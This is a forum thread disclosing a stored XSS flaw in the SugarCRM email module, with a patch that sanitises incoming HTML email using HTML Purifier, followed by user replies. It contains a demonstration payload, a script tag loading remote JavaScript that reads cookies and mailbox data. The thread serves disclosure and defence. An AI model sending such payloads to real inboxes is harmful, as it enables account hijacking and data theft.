SugarCRM email XSS vulnerability and how to protect yourself

[ayavilevich]

Why you should read this
Basically, if you receive a html email into Sugar and read it there, you allow the sender to act on your behalf in your Sugar account.
Introduction
The reason for that is that sugar doesn’t sanitize incoming emails and allows javascript code, including malicious code, to be automatically executed when you read an email containing it. As a result, if a person sends you a specially crafted email which you open, he can harm or harvest your SugarCRM account.
Demonstration
Send yourself an html email containing the following html code:
<script type="text/javascript" src="http://www.codebuildingblocks.com/xss_test/sugar.js"></script>
(For instructions on how to do it in Outlook read http://www.slipstick.com/mail1/html.htm)

When you later read this email in Sugar you will see a message with your cookies and then a list of all the inbound mailboxes defined in Sugar. Similarly, one can get a list of your leads or accounts and transmit them out of the system. More sophisticated attacks can be designed which are designed to trick you into giving away your password, etc’.
I have to note that Sugar is protected against session hijacking using stolen cookies which is good, however this is not enough as have been just demonstrated.
Solution
Every other web-mail services nowadays employs a html sanitizing module to remove potentially dangerous code from html emails. I will now show you how to install such a module into Sugar to clean incoming email.
I will use HTML Purifier (http://hp.jpsband.org/) by Edward Z. Yang.
Instruction
This was performed on version 4.5.0b of Sugar.
1. Download HTML Purifier (http://hp.jpsband.org/) and unzip it.
2. Take the content of the HTML Purifier’s ‘library’ directory and upload it into the root of your sugar installation. (Advanced: You can put it in other places but then you will have to define an include directory for that path in InboundEmail.php)
3. Edit /modules/InboundEmail/InboundEmail.php as following:

Location A - headers
************************************************** ******************************/
// AY
require_once 'HTMLPurifier.php';
// ~AY
function this_callback($str) {

Location B - members
var $protocol;
// AY
var $purifier;
// !AY
/**
* Sole constructor
*/

Location C - constructor
imap_timeout(3, 60);
}
// AY
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'XHTML', false); // HTML 4.01
$this->purifier = new HTMLPurifier($config);
// ~AY
}

Location D - importOneEmail
$email->description_html = $this->getMessageText($msgNo, 'HTML', $structure, $fullHeader); // runs through handleTranserEncoding() already
// AY
$email->description_html = $this->purifier->purify($email->description_html);
// ~AY

Comments
Any comments or suggestions on how to improve this?
If anybody is going to patch a different version of Sugar using this process, please write if it works “as is” or what should be changed if it doesn’t.
Thanks.

Author
Arik Yavilevich is an expert in javascript programming having considerable experience writing code for browsers. Arik have founded several websites and companies, including CodeBuildingBlocks which he runs. Arik is available for consulting on interesting web projects.

[alsutton]

Arik,

Have a look at this thread to see Sugars view of the Email module. Basically it's a low priority, buggy piece of c*** (I meant to type code, honest), so bugs like this aren't surprising.

[rickcrites]

Wow!

Thanks for posting this fix. Important stuff.

Best,

[Scotta98]

Hi Arik,

Thanks for pointing this out. I think this is just another failing of the bundled email system in sugar.

You obviously know your stuff so I would like to ask a question if you would not mind. You have probably seen this thread about the email systemhere .

The question is, if sugar was your app, would you continue to build out the email functionalities or would you incorporate an open source existing email app into sugar? If the later is your answer, what would it be?

I appreciate you taking the time. It's a good thing to get many different prospective and especially on something so important.

[kpit]

Hey SugarTeam Take a serious look at integrating this into SugarCRM especially for the email system. Especially because it is licensed under LGPL.

[stevec]

I would think this would still be an issue with the outlook plugin and also any bespoke inserting of emails via the soap interface (which is something we do).

[clint]

We are looking into this now. --Clint

[Ambush Commander]

Hey, good to see that you may have found a use for HTML Purifier. Even if you end up scrapping the mail module, you will likely find another use for this library elsewhere in the application, especially for implementing a WYSIWYG editor securely (HTML Purifier is essentially the HTML filter, see this comparison essay for more information).

[ayavilevich]

@Ambush Commander, thanks for making the Purifier. It made this patch possible.
@stevec, not sure if Outlook plug-in is affected. Probably not, as Outlook doesn’t execute the code even if it is present in the html.
@clint and umeco, it would be a good idea to make this a part of Sugar.
@Scotta98, this is a hard question. From messing around with the code I was impressed from the amount of work involved with making the module so far. I will try to look into it in more detail later, but for now I would say that doing both an internal client and interfaces to external clients would probably be the best and, risk-free option. Does Sugar has enough work force to do that?

[stevec]

@stevec, not sure if Outlook plug-in is affected. Probably not, as Outlook doesn’t execute the code even if it is present in the html.

My main worry is via the soap API (set entry) where we push emails straight into sugar from out mail gateway.